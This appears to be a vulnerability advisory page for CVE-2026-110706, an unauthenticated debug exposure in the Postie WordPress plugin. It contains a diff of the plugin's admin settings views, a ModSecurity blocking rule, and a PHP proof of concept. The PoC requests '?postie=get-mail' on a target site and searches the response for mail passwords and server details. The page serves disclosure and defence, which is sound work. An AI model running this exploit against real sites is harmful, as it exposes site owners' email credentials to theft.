+                <div style="margin-top: 10px; font-weight: bold;"><?php esc_html_e('Preview', 'postie'); ?></div>
+                <div id='video2TemplatePreview'></div>
+                <textarea cols='70' rows='7' id='postie-settings-video2template' name='postie-settings[video2template]'><?php echo esc_textarea($settings->video2template); ?></textarea>
+            </td>
+        </tr>
+        <tr>
+            <th scope="row"><?php esc_html_e('Video 2 file extensions', 'postie') ?></th>
+            <td>
+                <br/><input name='postie-settings[video2types]' type="text" id='postie-settings-video2types'
+                            value="<?php if ($settings->video2types != '') echo esc_attr($settings->video2types); ?>" size="40" />
+                <p class='description'>
+                    <?php esc_html_e('Use video template 2 for files with these extensions (separated by commas)', 'postie') ?></p>
+            </td>
+        </tr>
+        <tr><td colspan="2"><hr /></td></tr>
+        <tr>
+            <th scope='row'><?php esc_html_e('Audio template', 'postie') ?></th>
+            <td>
+                <input type='hidden' id='postie-settings-selected_audiotemplate' name='postie-settings[selected_audiotemplate]'
+                       value="<?php echo esc_attr($settings->selected_audiotemplate) ?>" />
+                <select name='audiotemplateselect' id='audiotemplateselect'>
+                    <?php
+                    include(POSTIE_ROOT . '/templates/audio_templates.php');
+                    echo PostieAdmin::template_options_html($audioTemplates, $settings->selected_audiotemplate, $settings->audiotemplate);
+                    ?>
+                </select>
+                <p class='description'><?php esc_html_e('Choose a default template, then customize to your liking in the text box', 'postie') ?></p>
+                <p class='description'><?php esc_html_e('Note that this template are only used if the "Preferred Text Type" setting is set to "plain"', 'postie'); ?></p>
+
+                <div style="margin-top: 10px; font-weight: bold;"><?php esc_html_e('Preview', 'postie'); ?></div>
+                <div id='audioTemplatePreview'></div>
+                <textarea cols='70' rows='7' id='postie-settings-audiotemplate' name='postie-settings[audiotemplate]'><?php echo esc_textarea($settings->audiotemplate); ?></textarea>
+            </td>
+        </tr>
+        <tr>
+            <th scope="row"><?php esc_html_e('Audio file extensions', 'postie') ?></th>
+            <td>
+                <input name='postie-settings[audiotypes]' type="text" id='postie-settings-audiotypes' value="<?php echo esc_attr($settings->audiotypes); ?>" size="40" />
+                <p class='description'><?php esc_html_e('Use the audio template for files with these extensions (separated by commas)', 'postie') ?></p>
+            </td>
+        </tr>
+    </table>
--- a/postie/admin/views/tabs/tab-message.php
+++ b/postie/admin/views/tabs/tab-message.php
@@ -0,0 +1,145 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+    <table class = 'form-table'>
+        <tr>
+            <th scope="row"><?php esc_html_e('Preferred Text Type', 'postie') ?> </th>
+            <td>
+                <select name='postie-settings[prefer_text_type]' id='postie-settings-prefer_text_type'>
+                    <option value="plain" <?php selected($settings->prefer_text_type, 'plain'); ?>><?php esc_html_e('Plain Text', 'postie'); ?></option>
+                    <option value="html" <?php selected($settings->prefer_text_type, 'html'); ?>><?php esc_html_e('Html', 'postie'); ?></option>
+                </select>
+            </td>
+        </tr>
+        <?php
+        echo PostieAdmin::boolean_select_html(__("Text fallback", 'postie'), "postie-settings[prefer_text_convert]", $settings->prefer_text_convert, __("Use plain if html is missing and vice versa.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        ?>
+        <tr valign = "top">
+            <th scope = "row"><?php esc_html_e('Default category', 'postie') ?></th>
+            <td>
+                <?php
+                $defaultCat = $settings->default_post_category;
+                $args = array('name' => 'postie-settings[default_post_category]', 'hierarchical' => 1, 'selected' => $defaultCat, 'hide_empty' => 0);
+                wp_dropdown_categories($args);
+                ?>
+            </td>
+        </tr>
+        <?php
+        echo PostieAdmin::boolean_select_html(__("Match short category", 'postie'), "postie-settings[category_match]", $settings->category_match, __("Try to match categories using 'starts with logic' otherwise only do exact matches.<br />Note that custom taxonomies will not be found if this setting is 'No'", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+
+        echo PostieAdmin::boolean_select_html(__("Use colon to match category", 'postie'), "postie-settings[category_colon]", $settings->category_colon); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Use dash to match category", 'postie'), "postie-settings[category_dash]", $settings->category_dash); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Use square bracket to match category", 'postie'), "postie-settings[category_bracket]", $settings->category_bracket, __('See the following article for more information <a href="http://postieplugin.com/faq/override-post-categories/" target="_blank">http://postieplugin.com/faq/override-post-categories/</a>', 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Remove matched categories", 'postie'), "postie-settings[category_remove]", $settings->category_remove, __('Typically you want any categories specified on the subject line removed from the post title.', 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        ?>
+
+        <tr valign="top">
+            <th scope="row">
+                <?php esc_html_e('Default tag(s)', 'postie') ?><br />
+            </th>
+            <td>
+                <input type='text' name='postie-settings[default_post_tags]' id='postie-settings-default_post_tags' value='<?php echo esc_attr($settings->default_post_tags) ?>' />
+                <p class='description'><?php esc_html_e('(optional) separated by commas', 'postie') ?></p>
+            </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><?php esc_html_e('Default Post Status', 'postie') ?> </th>
+            <td>
+                <select name='postie-settings[post_status]' id='postie-settings-post_status'>
+                    <?php
+                    $stati = get_post_stati();
+                    foreach ($stati as $status) {
+                        echo "<option value='" . esc_attr($status) . "' " . selected($settings->post_status, $status, false) . ">" . esc_html($status) . "</option>";
+                    }
+                    ?>
+                </select>
+            </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><?php esc_html_e('Default Post Format', 'postie') ?> </th>
+            <td>
+                <select name='postie-settings[post_format]' id='postie-settings-post_format'>
+                    <?php
+                    $formats = (array) get_theme_support('post-formats');
+                    if (is_array($formats[0])) {
+                        $formats = $formats[0];
+                    } else {
+                        $formats = array();
+                    }
+                    array_unshift($formats, 'standard');
+                    foreach ($formats as $format) {
+                        echo "<option value='" . esc_attr($format) . "' " . selected($settings->post_format, $format, false) . ">" . esc_html($format) . "</option>";
+                    }
+                    ?>
+                </select>
+            </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><?php esc_html_e('Default Post Type', 'postie') ?> </th>
+            <td>
+                <select name='postie-settings[post_type]' id='postie-settings-post_type'>
+                    <?php
+                    $types = get_post_types();
+                    foreach ($types as $type) {
+                        echo "<option value='" . esc_attr($type) . "' " . selected($settings->post_type, $type, false) . ">" . esc_html($type) . "</option>";
+                    }
+                    ?>
+                </select>
+            </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><?php esc_html_e('Default Title', 'postie') ?> </th>
+            <td>
+                <input name='postie-settings[default_title]' type="text" id='postie-settings-default_title' value="<?php echo esc_attr($settings->default_title); ?>" size="50" /><br />
+                <p class='description'><?php esc_html_e('(optional) only used if no subject is supplied by the email (rare)', 'postie') ?></p>
+            </td>
+        </tr>
+        <?php echo PostieAdmin::boolean_select_html(__("Allow Legacy Commands", 'postie'), "postie-settings[legacy_commands]", $settings->legacy_commands, "Process commands such as comments, status, delay, excerptstart, excerptend, date, tags."); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+
+        <?php echo PostieAdmin::boolean_select_html(__("Treat Replies As", 'postie'), "postie-settings[reply_as_comment]", $settings->reply_as_comment, "", array(__('comments', 'postie'), __('new posts', 'postie'))); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Strip Original Content from Replies", 'postie'), "postie-settings[strip_reply]", $settings->strip_reply, "Only applicable if replies are treated as comments"); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Allow Duplicate Comments", 'postie'), "postie-settings[duplicate_comments]", $settings->duplicate_comments, 'WordPress will stop Postie from running if it decides a comment is a duplicate.'); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+
+        <?php echo PostieAdmin::boolean_select_html(__("Forward Rejected Mail", 'postie'), "postie-settings[forward_rejected_mail]", $settings->forward_rejected_mail); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Keep unknown emails as draft", 'postie'), "postie-settings[keep_unknown_emails_as_draft]", $settings->keep_unknown_emails_as_draft, __("If an email is received from an unknown/unauthorized sender, keep it as a draft instead of rejecting it.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Allow Subject In Mail", 'postie'), "postie-settings[allow_subject_in_mail]", $settings->allow_subject_in_mail, "Enclose the subject between '#' on the very first line. E.g. #this is my subject#"); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Allow HTML In Mail Subject", 'postie'), "postie-settings[allow_html_in_subject]", $settings->allow_html_in_subject); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <tr>
+            <th scope="row"><?php esc_html_e('Text for Message Start', 'postie') ?> </th>
+            <td>
+                <input name='postie-settings[message_start]' type="text" id='postie-settings-message_start' value="<?php echo esc_attr($settings->message_start); ?>" size="50" /><br />
+                <p class='description'><?php esc_html_e('(optional) Remove all text from the beginning of the message up to the point where this is found. Note this works best with "Plain" messages.', 'postie') ?></p>
+            </td>
+        </tr>
+        <tr>
+            <th scope="row"><?php esc_html_e('Text for Message End', 'postie') ?> </th>
+            <td>
+                <input name='postie-settings[message_end]' type="text" id='postie-settings-message_end' value="<?php echo esc_attr($settings->message_end); ?>" size="50" /><br />
+                <p class='description'><?php esc_html_e('(optional) Remove all text from the point this is found to the end of the message. Note this works best with "Plain" messages.', 'postie') ?></p>
+            </td>
+        </tr>
+
+        <?php
+        echo PostieAdmin::boolean_select_html(__("Filter newlines", 'postie'), "postie-settings[filternewlines]", $settings->filternewlines, __("Whether to strip newlines from plain text. Set to no if using markdown or textitle syntax", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Replace newline characters with html line breaks (<br />)", 'postie'), "postie-settings[convertnewline]", $settings->convertnewline, __("Filter newlines must be turned on for this option to take effect", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Return rejected mail to sender", 'postie'), "postie-settings[return_to_sender]", $settings->return_to_sender); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+
+        $confirmation_options = array('sender' => 'sender', 'admin' => 'administrator(s)', 'both' => 'both', '' => 'nobody');
+        foreach (get_users(array('role' => 'administrator')) as $user) {
+            if (!array_key_exists($user->user_login, $confirmation_options)) {
+                $confirmation_options[$user->user_login] = $user->user_email;
+            }
+        }
+        echo PostieAdmin::select_html2(__('Send post confirmation email to', 'postie'), 'postie-settings[confirmation_email]', $settings->confirmation_email, $confirmation_options); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Automatically convert urls to links", 'postie'), "postie-settings[converturls]", $settings->converturls); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Drop The Signature From Mail", 'postie'), "postie-settings[drop_signature]", $settings->drop_signature); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::textarea_html(__("Signature Patterns", 'postie'), "postie-settings[sig_pattern_list]", $settings->sig_pattern_list, __("Put each pattern on a separate line. Patterns are <a href='http://regex101.com/' target='_blank'>regular expressions</a> and are put inside '/^{pattern}s?$/miu'. For HTML content the inner text of each element is evaluated against the pattern. E.g for <p>some test</p><p>-- <br>signature</p> Postie will evaluate 'some text', '-- ' and 'signature' against the pattern(s) and the first time it find a match it will assume that is the signature and remove it and anything below it from the post.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo PostieAdmin::boolean_select_html(__("Add a Wrapper Div", 'postie'), "postie-settings[add_wrapper_div]", $settings->add_wrapper_div, __("Should Post add a <div class='postie'> around each received email? This can allow you to add CSS that applies only to posts created by Postie. If this interfers with your theme you can turn it off.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        ?>
+    </table>
--- a/postie/admin/views/tabs/tab-server.php
+++ b/postie/admin/views/tabs/tab-server.php
@@ -0,0 +1,161 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+?>
+    <table class='form-table' role='presentation'>
+        <tbody>
+            <tr>
+                <th scope="row"><label for="postie-settings-input_connection"><?php esc_html_e('Connection', 'postie') ?></label></th>
+        <td>
+            <select name='postie-settings[input_connection]' id='postie-settings-input_connection'>
+                <option value="sockets"  <?php echo (($settings->input_connection == "socket") ? " selected='selected' " : "") ?>>Sockets</option>
+                <?php if (function_exists('curl_version')) { ?>
+                    <option value="curl" <?php echo ($settings->input_connection == "curl") ? "selected='selected' " : "" ?>>cURL</option>
+                <?php } ?>
+            </select>
+            <p class='description'><?php esc_html_e("Sockets is preferred, but doesn't work with some hosts.", 'postie'); ?></p>
+        </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><label for="postie-settings-input_protocol"><?php esc_html_e('Mail Protocol', 'postie') ?></label></th>
+        <td>
+            <select name='postie-settings[input_protocol]' id='postie-settings-input_protocol'>
+                <option value="pop3"  <?php echo (($settings->input_protocol == "pop3") ? " selected='selected' " : "") ?>>POP3</option>
+                <option value="imap" <?php echo ($settings->input_protocol == "imap") ? "selected='selected' " : "" ?>>IMAP</option>
+                <option value="pop3-ssl" <?php echo ($settings->input_protocol == "pop3-ssl") ? "selected='selected' " : "" ?>>POP3-SSL</option>
+                <option value="imap-ssl" <?php echo ($settings->input_protocol == "imap-ssl") ? "selected='selected' " : "" ?>>IMAP-SSL</option>
+            </select>
+            <p class='description'><?php
+                if (!extension_loaded('openssl')) {
+                    esc_html_e("OpenSSL has not been enabled. POP3-SSL and IMAP-SSL will not work as expected.", 'postie');
+                }
+                ?></p>
+        </td>
+        </tr>
+
+        <tr>
+            <th scope="row"><label for="postie-settings-mail_server_port"><?php esc_html_e('Port', 'postie') ?></label></th>
+            <td valign="top">
+                <input name='postie-settings[mail_server_port]' style="width: 70px;" type="number" min="0" id='postie-settings-mail_server_port' value="<?php echo esc_attr($settings->mail_server_port); ?>" size="6" />
+                <p class='description'><?php esc_html_e("Standard Ports:", 'postie'); ?><br />
+                    <?php esc_html_e("POP3", 'postie'); ?>: 110<br />
+                    <?php esc_html_e("IMAP", 'postie'); ?>: 143<br />
+                    <?php esc_html_e("IMAP-SSL", 'postie'); ?>: 993 <br />
+                    <?php esc_html_e("POP3-SSL", 'postie'); ?>: 995 <br />
+                </p>
+            </td>
+        </tr>
+        <tr valign="top">
+            <th scope="row"><?php esc_html_e('Mail Server', 'postie') ?></th>
+            <td><input name='postie-settings[mail_server]' type="text" id='postie-settings-mail_server' value="<?php echo esc_attr($settings->mail_server); ?>" size="40" />
+            </td>
+        </tr>
+        <tr valign="top">
+            <th scope="row"><?php esc_html_e('Mail Userid', 'postie') ?></th>
+            <td>
+                <input name='postie-settings[mail_userid]' type="text" id='postie-settings-mail_userid' autocomplete='new-password' value="<?php echo esc_attr($settings->mail_userid); ?>" size="40" />
+                <p class='description'><?php esc_html_e("Note that Postie will read and DELETE all the email in this account. Typically your full email address.", 'postie'); ?><br />
+            </td>
+        </tr>
+        <tr valign="top">
+            <th scope="row"><?php esc_html_e('Mail Password', 'postie') ?></th>
+            <td>
+                <input name='postie-settings[mail_password]' type="password" id='postie-settings-mail_password' autocomplete='new-password' value="<?php echo esc_attr($settings->mail_password); ?>" size="40" />
+            </td>
+        </tr>
+
+        <?php echo PostieAdmin::boolean_select_html(__("Ignore Email Date", 'postie'), 'postie-settings[ignore_email_date]', $settings->ignore_email_date, __("If set to 'Yes' the email date will be ignored and the post will be published with the system time. If set to 'No' the date in the email will be used as the post date.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+        <?php echo PostieAdmin::boolean_select_html(__("Use Postie Time Correction", 'postie'), 'postie-settings[use_time_offset]', $settings->use_time_offset, __("If set to 'Yes' adjust the time according to Postie Time Correction otherwise use the date provided by the email.", 'postie')); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
+
+        <tr>
+            <th scope="row"><?php esc_html_e('Postie Time Correction', 'postie') ?></th>
+            <td><input style="width: 70px;" name='postie-settings[time_offset]' type="number" step="0.5" id='postie-settings-time_offset' size="2" value="<?php echo esc_attr($settings->time_offset); ?>" />
+                <?php
+                esc_html_e('hours', 'postie');
+                ?>
+                <p class='description'>
+                    <?php
+                    echo wp_kses_post( sprintf(
+                        /* translators: 1: blog timezone, 2: blog offset */
+                        __( 'Should be the same as your normal offset, but this lets you adjust it in cases where that doesn't work.<br>Blog timezone is: %1$s<br>Blog offset: %2$d', 'postie' ),
+                        esc_html( get_option('timezone_string') == '' ? 'GMT+0' : get_option('timezone_string') ),
+                        (int) get_option('gmt_offset')
+                    ) );
+                    ?>
+                </p>
+            </td>
+        </tr>
+        <tr>
+            <th>
+                <?php esc_html_e('Check for mail every', 'postie') ?>:
+            </th>
+            <td>
+                <select name='postie-settings[interval]' id='postie-settings-interval'>
+                    <option value="weekly" <?php selected($settings->interval, "weekly"); ?>><?php esc_html_e('Once weekly', 'postie') ?>
+                    </option>
+
+                    <option value="daily" <?php selected($settings->interval, "daily"); ?>><?php esc_html_e('daily', 'postie') ?>
+                    </option>
+
+                    <option value="twohours" <?php selected($settings->interval, "twohours"); ?>><?php esc_html_e('every 2 hours', 'postie') ?>
+                    </option>
+
+                    <option value="hourly" <?php selected($settings->interval, "hourly"); ?>><?php esc_html_e('hourly', 'postie') ?>
+                    </option>
+
+                    <option value="twiceperhour" <?php selected($settings->interval, "twiceperhour"); ?>><?php esc_html_e('every 30 minutes', 'postie') ?>
+                    </option>
+
+                    <option value="tenminutes" <?php selected($settings->interval, "tenminutes"); ?>><?php esc_html_e('every 10 minutes', 'postie') ?>
+                    </option>
+
+                    <option value="fiveminutes" <?php selected($settings->interval, "fiveminutes"); ?>><?php esc_html_e('every 5 minutes', 'postie') ?>
+                    </option>
+
+                    <option value="oneminute" <?php selected($settings->interval, "oneminute"); ?>><?php esc_html_e('every 1 minute', 'postie') ?>
+                    </option>
+
+                    <option value="thirtyseconds" <?php selected($settings->interval, "thirtyseconds"); ?>><?php esc_html_e('every 30 seconds', 'postie') ?>
+                    </option>
+
+                    <option value="fifteenseconds" <?php selected($settings->interval, "fifteenseconds"); ?>><?php esc_html_e('every 15 seconds', 'postie') ?>
+                    </option>
+
+                    <option value="manual" <?php selected($settings->interval, "manual"); ?>><?php esc_html_e('check manually', 'postie') ?>
+                    </option>
+                </select>
+            </td>
+ 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-110706
SecRule REQUEST_URI|ARGS_GET:postie "@rx (?:^|&)postie=get-mail(?:&|$)" 
  "id:110706,phase:2,deny,status:403,chain,msg:'CVE-2026-110706 Postie Unauthenticated Debug Exposure',severity:'CRITICAL',tag:'CVE-2026-110706'"
  SecRule REQUEST_METHOD "@streq GET" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-110706 - Postie <= 1.9.89 - Sensitive Information Exposure

$target_url = 'http://example.com'; // Change to target WordPress site

// Construct the exploit URL
$exploit_url = $target_url . '/?postie=get-mail';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response length: " . strlen($response) . " bytesn";
    // Check for sensitive data patterns
    if (preg_match('/(password|pass|smtp|imap|pop3|user|host)/i', $response)) {
        echo "Potential sensitive data found in response:n";
        echo substr($response, 0, 2000) . "n"; // Show first 2000 chars
    } else {
        echo "No obvious sensitive data found. Response snippet:n";
        echo substr($response, 0, 1000) . "n";
    }
}
curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.